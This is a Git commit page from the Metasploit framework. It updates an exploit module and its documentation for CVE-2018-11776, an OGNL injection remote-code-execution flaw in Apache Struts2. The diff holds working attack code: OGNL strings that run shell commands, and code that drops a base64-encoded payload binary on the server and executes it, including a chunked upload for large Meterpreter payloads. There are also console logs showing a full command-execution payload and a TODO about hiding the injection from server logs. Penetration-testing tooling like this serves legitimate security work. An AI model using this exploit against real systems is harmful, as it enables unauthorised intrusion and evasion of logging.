Land #10671, struts2_namespace_ognl updates
There are still some outstanding concerns, but I want to unblock this.GSoC/Meterpreter_Web_Console
William Vu
commit
5b14d94957
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@ -2,6 +2,12 @@ CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles nam
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The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
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Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set `allowStaticMethodAccess=true`. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify `allowStaticMethodAccess`. The `ENABLE_STATIC` option is used to toggle behavior, and the `check` method fingerprints the correct version.
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As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
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## Vulnerable Application
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The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
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@ -68,7 +74,7 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
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Confirm that check functionality works:
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- [ ] Install the application using the steps above.
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- [ ] Start msfconsole.
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- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
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- [ ] Load the module: ```use exploit/multi/http/struts_namespace_ognl```
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- [ ] Set the RHOST.
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- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
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- [ ] Confirm the target is *not* vulnerable: ```check```
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@ -105,31 +111,31 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
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Checking a vulnerable endpoint, as installed in the above steps:
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```
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msf > use exploit/multi/http/struts_namespace_rce
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msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
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msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
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msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
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msf > use exploit/multi/http/struts_namespace_ognl
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msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
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msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
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msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
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ACTION => help.action
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msf5 exploit(multi/http/struts_namespace_rce) > check
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msf5 exploit(multi/http/struts_namespace_ognl) > check
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[+] 192.168.199.135:32771 The target is vulnerable.
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```
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Running an arbitrary command on the above-described environment:
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```
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msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
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msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
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msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
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msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
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PAYLOAD => cmd/unix/generic
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msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
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msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname
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CMD => hostname
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msf5 exploit(multi/http/struts_namespace_rce) > run
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msf5 exploit(multi/http/struts_namespace_ognl) > run
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[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
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[*] Command ran. Output from command:
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b3d9b350d9b6
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[*] Exploit completed, but no session was created.
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msf5 exploit(multi/http/struts_namespace_rce) >
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msf5 exploit(multi/http/struts_namespace_ognl) >
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```
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Getting a Meterpreter session on the above-described environment:
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@ -12,6 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
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# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
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#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
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# NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
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@ -20,11 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
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version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
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via an endpoint that makes use of a redirect action.
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Note that this exploit is dependant on the version of Tomcat running on
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the target. Versions of Tomcat starting with 7.0.88 currently don't
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support payloads larger than ~7.5kb. Windows Meterpreter sessions on
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Tomcat >=7.0.88 are currently not supported.
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Native payloads will be converted to executables and dropped in the
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server's temp dir. If this fails, try a cmd/* payload, which won't
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have to write to the disk.
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},
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#TODO: Is that second paragraph above still accurate?
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'Author' => [
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'Man Yue Mo', # Discovery
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'hook-s3c', # PoC
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@ -67,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
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OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
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OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
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OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
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]
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)
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register_advanced_options(
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@ -120,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Remote
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else
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CheckCode::Safe
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end
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elsif resp.nil?
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fail_with(Failure::Unreachable,"Target did not respond. Please double check RHOSTS and RPORT")
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end
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end
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@ -140,7 +148,6 @@ class MetasploitModule < Msf::Exploit::Remote
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# '\r' ends the GET request prematurely
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# '\n' ends the GET request prematurely
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# TODO: Make sure the following line is uncommented
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bad_chars = %w[; \\ \r \n] # and maybe '/'
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bad_chars.each do |c|
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if ognl.include? c
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@ -176,53 +183,38 @@ class MetasploitModule < Msf::Exploit::Remote
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return ognl
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end
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def send_struts_request(ognl, payload: nil)
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=begin #badchar-checking code
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pre = ognl
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=end
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def send_struts_request(ognl, payload: nil, headers: nil)
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ognl = "${#{ognl}}"
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vprint_status("Submitted OGNL: #{ognl}")
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ognl = encode_ognl(ognl)
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headers = {'Keep-Alive': 'timeout=5, max=1000'}
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if headers.nil?
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headers = {'Keep-Alive': 'timeout=5, max=1000'}
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end
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if payload
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vprint_status("Embedding payload of #{payload.length} bytes")
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headers[datastore['HEADER']] = payload
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end
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# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
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# TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
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uri = "/#{ognl}/#{datastore['ACTION']}"
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resp = send_request_cgi(
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r = send_request_cgi(
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#'encode' => true, # this fails to encode '\', which is a problem for me
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'uri' => uri,
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'method' => datastore['HTTPMethod'],
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'headers' => headers
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)
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if resp && resp.code == 404
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if r && r.code == 404
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fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
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end
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=begin #badchar-checking code
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print_status("Response code: #{resp.code}")
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#print_status("Response recv: BODY '#{resp.body}'") if resp.body
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if resp.headers['Location']
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print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
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if resp.headers['Location'].split('/')[1] == pre[1..-2]
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print_good("GOT 'EM!")
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else
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print_error(" #{pre[1..-2]}")
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end
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end
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=end
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resp
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return r
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end
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def profile_target
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def send_profile
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# Use OGNL to extract properties from the Java environment
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properties = { 'os.name': nil, # e.g. 'Linux'
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@ -281,14 +273,10 @@ class MetasploitModule < Msf::Exploit::Remote
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end
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end
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def execute_command(cmd_input, opts={})
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# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
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if cmd_input.include? ';'
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print_warning("WARNING: Command contains bad characters: semicolons (;).")
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end
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def profile_os
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# Probe for the target OS and architecture
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begin
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properties = profile_target
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properties = send_profile()
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os = properties[:'os.name'].downcase
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rescue
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vprint_warning("Target profiling was unable to determine operating system")
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@ -297,10 +285,20 @@ class MetasploitModule < Msf::Exploit::Remote
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os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
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os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
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end
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return os
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end
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if (os.include? 'linux') || (os.include? 'nix')
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def execute_command(cmd_input, opts={})
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# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
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if cmd_input.include? ';'
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print_warning("WARNING: Command contains bad characters: semicolons (;).")
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end
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os = profile_os()
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if os && ((os.include? 'linux') || (os.include? 'nix'))
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cmd = "{'sh','-c','#{cmd_input}'}"
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elsif os.include? 'win'
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elsif os && (os.include? 'win')
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cmd = "{'cmd.exe','/c','#{cmd_input}'}"
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else
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vprint_error("Failed to detect target OS. Attempting to execute command directly")
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@ -336,18 +334,23 @@ class MetasploitModule < Msf::Exploit::Remote
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end
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def send_payload
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# Probe for the target OS and architecture
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begin
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properties = profile_target
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os = properties[:'os.name'].downcase
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rescue
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vprint_warning("Target profiling was unable to determine operating system")
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os = ''
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os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
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os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
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os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
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data_header = datastore['HEADER']
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if data_header.empty?
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fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
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end
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payload = generate_payload_exe
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print_status("Generated #{payload.length} byte binary payload")
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payload_b64 = [payload].pack("m").delete("\n")
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if payload_b64.length < 8100
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send_payload_oneshot(payload_b64)
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else
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send_payload_multishot(payload)
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end
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end
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def send_payload_oneshot(payload)
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data_header = datastore['HEADER']
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if data_header.empty?
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fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
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@ -355,18 +358,19 @@ class MetasploitModule < Msf::Exploit::Remote
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random_filename = datastore['TEMPFILE']
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# d = data stream from HTTP header
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# d = payload data
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# f = path to temp file
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# s = stream/handle to temp file
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ognl = ""
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ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
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ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
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ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
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ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
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ognl << %q|(#f.setExecutable(true)).|
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ognl << %q|(#f.deleteOnExit()).|
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ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
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ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
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ognl << %q|(#s.write(#d)).|
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#TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
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ognl << %q|(#s.close()).|
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ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
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ognl << %q|(#p.start()).|
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@ -375,8 +379,7 @@ class MetasploitModule < Msf::Exploit::Remote
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success_string = rand_text_alpha(4)
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ognl << %Q|('#{success_string}')|
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exe = [generate_payload_exe].pack("m").delete("\n")
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r = send_struts_request(ognl, payload: exe)
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r = send_struts_request(ognl, payload: payload)
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if r && r.headers && r.headers['Location'].split('/')[1] == success_string
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print_good("Payload successfully dropped and executed.")
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@ -387,4 +390,120 @@ class MetasploitModule < Msf::Exploit::Remote
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fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
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end
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end
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def ognl_create_file()
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filename = datastore['TEMPFILE']
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# f = path to temp file
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ognl = ""
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ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
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ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
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ognl << %q|(#f.setExecutable(true)).|
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ognl << %q|(#f.deleteOnExit()).|
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ognl << %q|(#f)|
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r = send_struts_request(ognl)
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begin
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tempfile = r.headers['Location']
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tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
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if tempfile.empty?
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fail_with(Failure::UnexpectedReply,"Unable to create and locate file on target. Try a cmd/*/generic payload")
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end
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rescue
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fail_with(Failure::UnexpectedReply,"Unable to create and locate file. Try a cmd/*/generic payload")
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end
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return tempfile
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end
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def send_payload_multishot(payload)
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tempfile = ognl_create_file()
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print_status("Temp file created: #{tempfile}")
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payload_cursor = 0
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while payload_cursor < payload.length
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payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
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payload_start = payload_cursor
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payload_end = payload_cursor + payload_size
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payload_end = payload.size if payload_end > payload.size
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chunk_bin = payload[payload_start..payload_end]
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chunk_b64 = [chunk_bin].pack("m").delete("\n")
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print_status("Sending payload chunk: #{chunk_b64.length} bytes")
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ognl_append_file(tempfile, chunk_b64)
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payload_cursor = payload_end + 1
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end
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ognl_execute(tempfile)
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end
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def ognl_append_file(payload_file, payload_chunk)
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data_header = datastore['HEADER'] + 'd'
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file_header = datastore['HEADER'] + 'f'
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headers = {
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"#{data_header}": payload_chunk,
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"#{file_header}": payload_file,
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}
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# d = payload data
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# f = path to temp file
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# s = stream/handle to temp file
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ognl = ""
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ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
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ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
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ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
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ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
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ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
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ognl << %q|(#s.write(#d)).|
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ognl << %q|(#s.close()).|
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success_string = rand_text_alpha(4)
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ognl << %Q|('#{success_string}')|
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r = send_struts_request(ognl, headers: headers)
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begin
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if r.headers['Location'].include? success_string
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vprint_good("OGNL payload chunk sent successfully.")
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return
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else
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fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
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end
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rescue
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fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
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end
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end
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def ognl_execute(file)
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file_header = datastore['HEADER'] + 'f'
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headers = {
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"#{file_header}": file,
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}
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# f = path to temp file
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# p = process handle
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ognl = ""
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ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
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ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
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ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
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ognl << %q|(#p.start()).|
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ognl << %q|(#f.delete()).|
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success_string = rand_text_alpha(4)
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ognl << %Q|('#{success_string}')|
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r = send_struts_request(ognl, headers: headers)
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||||
|
||||
begin
|
||||
if r.code==302
|
||||
print_good("OGNL payload executed successfully.")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
end
|
||||
rescue
|
||||
vprint_status("TARGET RESPONDED: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue